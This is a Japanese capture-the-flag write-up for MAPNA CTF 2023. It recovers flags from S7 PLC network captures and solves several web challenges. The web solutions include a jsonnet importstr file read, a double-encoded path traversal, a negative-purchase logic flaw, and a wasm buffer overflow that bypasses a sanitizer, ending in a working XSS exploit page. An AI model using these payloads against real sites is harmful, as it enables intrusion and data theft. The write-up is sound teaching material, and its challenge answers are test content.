https://ctftime.org/event/2205
- [Forensics] PLC I 🤖
- [Forensics] PLC II 🤖
- [web] Advanced JSON Cutifier
- [web] Flag Holding
- [web] Novel reader
- [web] Novel Reader 2
- [web] Purify 解けなかった
[Forensics] PLC I 🤖
pcapファイルが与えられる。
そんなにパケット数が無いので1つ1つ眺めると、No.46にd1n9!!}
というフラグの端っこみたいな文字列が見える。
eth.trailer
に情報が入ってますね。
$ tshark -r plc.pcap -Y 'eth.trailer != ""' -Tfields -e eth.trailer e7fe 333a4c645f346c5734 353a335f5f50614144 313a4d41504e417b79 343a79535f5f436152 363a64316e3921217d 323a30555f73484f75
1つ目以外をhex to asciiしてみましょう。
333a4c645f346c5734 -> 3:Ld_4lW4 353a335f5f50614144 -> 5:3__PaAD 313a4d41504e417b79 -> 1:MAPNA{y 343a79535f5f436152 -> 4:yS__CaR 363a64316e3921217d -> 6:d1n9!!} 323a30555f73484f75 -> 2:0U_sHOu
いいですね、1から順番にくっつけるとフラグ。
[Forensics] PLC II 🤖
After extensive investigations, the MAPNA forensics team discovered that the attackers attempted to manipulate the PLC time. Please identify the precise time in the following format: 徹底的な調査の結果、MAPNAのフォレンジック・チームは、攻撃者がPLC時間を操作しようとしていたことを突き止めた。
The flag is MAPNA{sha256(datetime)}.
前問と同じpcapファイルを解析していく。
攻撃者がPLC時間を操作しようとしているらしく、その時刻をyear:month:day:hour:minute:second:millisecond
の形にして
sha256にしてフラグ形式にして解答する問題。
stringsでも見てみよう。
$ strings -n 10 plc.pcap 6ES7 151-8AB01-0AB0 IM151-8 PN/DP CPU
型番っぽく、Siemensという会社のものっぽい。
プロトコルを調べてみよう。
The Siemens S7 Communication - Part 1 General Structure – GyM's Personal Blog
TPKTらしい。
Wiresharkの右クリックから...としてデコード
を選択してポート10203をTPKTにしてみてみるとS7COMMが認識される。
良さそう。
これでInfoを眺めると、Set clock
がNo.40にあった。
Data: (Timestamp: Sep 21, 2023 19:59:29.949)
ということで2023:09:21:19:59:29:949
をsha256にした
9effd248efdf066cf432a21a34d87db56d0d0a7e4fe9bb3af6ef6f125fc36cfa
を整形して答えると正答。
[web] Advanced JSON Cutifier
ソースコード無し。
jsonを与えるときれいにしてくれるサイトが与えられる。
実際にアクセスして実行例を見てみると
{"wow so advanced!!": 1335+2}
が
{ "wow so advanced!!": 1337 }
のようになっていて、JSON beautifierになっている。
しかも、それに加えて計算式が評価されている。
javascriptとして評価されている雰囲気がある。
エラーからライブラリを探すと多分これ。
https://github.com/google/go-jsonnet
目を皿にしてjsonnetの使えそうな言語仕様を探すと…ありますねぇ
https://qiita.com/ktateish/items/c07d76fb268575f5a8dc#%E5%88%A5%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E5%86%85%E5%AE%B9%E3%82%92%E5%80%A4%E3%81%A8%E3%81%97%E3%81%A6%E8%AA%AD%E3%81%BF%E8%BE%BC%E3%82%80
{"flag":importstr "/flag.txt"}
を送るとフラグが得られる。
[web] Flag Holding
ソースコード無し。
アクセスするとYou are not coming from "http://flagland.internal/".
と言われる。
そういう系ね。
どこから来るのかというのはReferrerヘッダーで指定可能。
Referer: http://flagland.internal/
を追加してみる。
するとUnspecified "secret".
と言われる。
リクエストURLを/
から/?secret
に変えてみる。
Incorrect secret. <!-- hint: secret is ____ which is the name of the protocol that both this server and your browser agrees on... -->
と言われる。
httpか?
/?secret=http
とやるとSorry we don't have "GET" here but we might have other things like "FLAG".
と言われる。
メソッドをFLAGにしてやればよさそう。
ということで最終的に以下のようなリクエストでフラグが得られる。
FLAG /?secret=http HTTP/1.1 Host: ■■■■■■■■■■■:8080 Connection: close Referer: http://flagland.internal/
[web] Novel reader
ソースコード有り。
/flag.txt
を読むのがゴール。
パストラバーサルを探してみると、それっぽいのがある。
@app.get('/api/read/<path:name>') def readNovel(name): name = unquote(name) if(not name.startswith('public/')): return {'success': False, 'msg': 'You can only read public novels!'}, 400 buf = readFile(name).split(' ') buf = ' '.join(buf[0:session['words_balance']])+'... Charge your account to unlock more of the novel!' return {'success': True, 'msg': buf}
name部分をunquoteして、先頭がpublic/
であることを確認して読み込んでいる。
先頭の検証は../
で回避すればいいので、public/../../flag.txt
をnameに入れればいい。
なので/api/read/public/../../flag.txt
とすればよさそうだが、nginxでURLのノーマライゼーションが走るので、
../
を2回URLエスケープすることでノーマライゼーションをうまく回避して
readNovelに処理が行くようにする。
よって以下のようなリクエストを送ってやればフラグが得られる。
GET /api/read/public/%252e%252e%252f%252e%252e%252fflag.txt HTTP/1.1 Host: ■■■■■■■■■■■:9000 Connection: close
[web] Novel Reader 2
Novel Readerにもう1つフラグが隠されている。
privateのNovelを見る機能があるのでそれを読み込むのだろう。
パスはprivate/A-Secret-Tale.txt
と分かっているので
前問と同様にパストラバーサルで読み込んでみる。
GET /api/read/public/%252e%252e%252fprivate%252fA-Secret-Tale.txt
とすると
{"msg":"Once... Charge your account to unlock more of the novel!","success":true}
と帰ってきた。
成功しているが、一部しか返ってきていない。
これは
buf = readFile(name).split(' ') buf = ' '.join(buf[0:session['words_balance']])+'... Charge your account to unlock more of the novel!'
のように、words_balance分の単語しか持ってこれないため。
初期状態では最初の文字のOnceしか取得できていない。
見られる文字は別のエンドポイントで購入できる。
@app.post('/api/charge') def buyWord(): nwords = request.args.get('nwords') if(nwords): nwords = int(nwords[:10]) price = nwords * 10 if(price <= session['credit']): session['credit'] -= price session['words_balance'] += nwords return {'success': True, 'msg': 'Added to your account!'} return {'success': False, 'msg': 'Not enough credit.'}, 402 else: return {'success': False, 'msg': 'Missing parameteres.'}, 400
ざっくり、10円で1文字変える。
最初は1文字見れるようになっていて、100円持っているので最大11文字までは見ることができる。
しかし、これではフラグに辿りつかない。
ここでさらにもう1つ脆弱性を利用する。
nwordsの入力はバリデーションが甘く、負の数を入れることができるようになっている。
よって、-2文字購入して、1文字見れる状態から-1文字見れる状態に変更してみよう。
すると、単語数の絞り込みは buf[0:-1]
のように評価されて
この場合は全ての単語を出力させることができる。
よって、POST /api/charge?nwords=-2
のようにして-2文字を買って、
そのCookieを使ってGET /api/read/public/%252e%252e%252fprivate%252fA-Secret-Tale.txt
を
参照すればフラグが手に入る。
[web] Purify 解けなかった
ソースコード有り。
あと一歩まで来ていて非常に悔しいのだが、集中力が足らん…
wasmでサニタイズ処理をしていてXSSする問題。
window.onmessage = e=>{ list.innerHTML += ` <li>From ${e.origin}: ${window.DOMPurify.sanitize(e.data.toString())}</li> ` }
シンクはこの部分でpostMessage経由でpayloadを受け取る。
window.DOMPurify.sanitize
というのでサニタイズして出力されている。
サニタイズの処理はこの部分。
function sanitize(dirty) { wasm.set_mode(0) for(let i=0;i<dirty.length;i++){ wasm.add_char(dirty.charCodeAt(i)) } let c let clean = '' while((c = wasm.get_char()) != 0){ clean += String.fromCharCode(c) } return clean }
wasmに1文字ずついれて、1文字ずつ出している。
wasmの実装は以下のようになっている。
// clang --target=wasm32 -emit-llvm -c -S ./purify.c && llc -march=wasm32 -filetype=obj ./purify.ll && wasm-ld --no-entry --export-all -o purify.wasm purify.o struct globalVars { unsigned int len; unsigned int len_r; char buf[0x1000]; int (*is_dangerous)(char c); } g; int escape_tag(char c){ if(c == '<' || c == '>'){ return 1; } else { return 0; } } int escape_attr(char c){ if(c == '\'' || c == '"'){ return 1; } else { return 0; } } int hex_escape(char c,char *dest){ dest[0] = '&'; dest[1] = '#'; dest[2] = 'x'; dest[3] = "0123456789abcdef"[(c&0xf0)>>4]; dest[4] = "0123456789abcdef"[c&0xf]; dest[5] = ';'; return 6; } void add_char(char c) { if(g.is_dangerous(c)){ g.len += hex_escape(c,&g.buf[g.len]); } else { g.buf[g.len++] = c; } } int get_char(char f) { if(g.len_r < g.len){ return g.buf[g.len_r++]; } return '\0'; } void set_mode(int mode) { if(mode == 1){ g.is_dangerous = escape_attr; } else { g.is_dangerous = escape_tag; } }
set_modeで0を指定してg.is_dangerous = escape_tag;
とすることで<
と>
をサニタイズしている。
これが一番邪魔なので、g.is_dangerous = escape_attr;
にすることができればhtmlタグを埋め込むことができそうだ。
そこで使える脆弱性がバッファーオーバーフローである。
実は長さをチェックしていないので、globalVars部分でbufに書き込むときに、
サイズを超過するとis_dangerousまで書き込むことができる。
struct globalVars { unsigned int len; unsigned int len_r; char buf[0x1000]; int (*is_dangerous)(char c); } g;
個人的に要調査ポイントだが、wasmでは関数ポインタが1,2,3...みたいな数値になっているっぽい(かなり要調査) wasmのデコンパイルを見ると
(func $set_mode (;6;) (export "set_mode") (param $var0 i32) (local $var1 i32) global.get $__stack_pointer i32.const 16 i32.sub local.tee $var1 local.get $var0 i32.store offset=12 block $label1 block $label0 local.get $var1 i32.load offset=12 i32.const 1 i32.eq i32.const 1 i32.and i32.eqz br_if $label0 i32.const 0 i32.const 1 i32.store offset=5148 br $label1 end $label0 i32.const 0 i32.const 2 i32.store offset=5148 end $label1 )
のようになっていて、i32.store offset=5148
がis_dangerousになるが、escape_tagでは2を、escape_attrでは1を書き込んでいた。
よって、is_dangerousをescape_attrにするには1を書き込めばいい。
char buf[0x1000]; int (*is_dangerous)(char c);
これをバッファーオーバーフローでいい感じに埋めてis_dangerousをescape_attrにするには、'A'*(0x1000 - 2)+'\x01\x00\x00\x00'を書き込めば良い。
'A'というのは別に何でもいい(何でBOFの時ってA使うサンプルが多いんでしょう)
(0x1000 - 2)のように-2しているのは最初にsetTimeout(_=>window.postMessage("hi",'*'),1000)
のように2文字書かれてしまうため。
'\x01\x00\x00\x00'は1を32ビット整数でリトルエンディアンにしたもの。
これでis_dangerousがescape_attrになって<
が入った文字列を入れ込むことができた。
あとは、この後ろにpayloadを入れてやれば、任意のタグを入れることができる。
ここまでできていたのに時間切れ…
答えを見ると、入れ込んだ後に空のpostMessageを3回読み込むとXSSが発火した。
それもそうで、サニタイズ処理を見てみると
while((c = wasm.get_char()) != 0){ clean += String.fromCharCode(c) }
のように0x00が帰ってきたときに終了するようになっている。
先ほどの埋め込み時に'\x01\x00\x00\x00'のように埋め込んでいるので、
出力時に0x00で止まってしまうのだ。
つまり、
最初の埋め込み時の出力で1番目の0x00で止まり、
1回目の空のpostMessageの時の出力で2番目の0x00で止まり、
2回目の空のpostMessageの時の出力で3番目の0x00で止まり、
3回目の空のpostMessageの時の出力で最後まで出力するということ。
なので、入れ込んだ後に3回、なんでもいいのでpostMessageすると後続の入力が得られる。
よって、base64した任意のpayloadを実行するpayloadは以下。
<html> <script> setTimeout(_=>{ var payload = ""; for (let i = 0; i < 0x1000 - 2; i++) { payload += "A"; } payload += String.fromCharCode(0x01); payload += String.fromCharCode(0x00); payload += String.fromCharCode(0x00); payload += String.fromCharCode(0x00); payload += "<img src=x onerror=eval(atob(`YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==`))>"; // alert(document.domain) victim.postMessage(payload,'*'); },3000); setTimeout(_=>{ victim.postMessage("",'*'); },6000); setTimeout(_=>{ victim.postMessage("",'*'); },7000); setTimeout(_=>{ victim.postMessage("",'*'); },8000); </script> <body> <iframe src="http://91.107.157.58:7000/" width="100%" height="100%" name="victim"></iframe> </body> </html>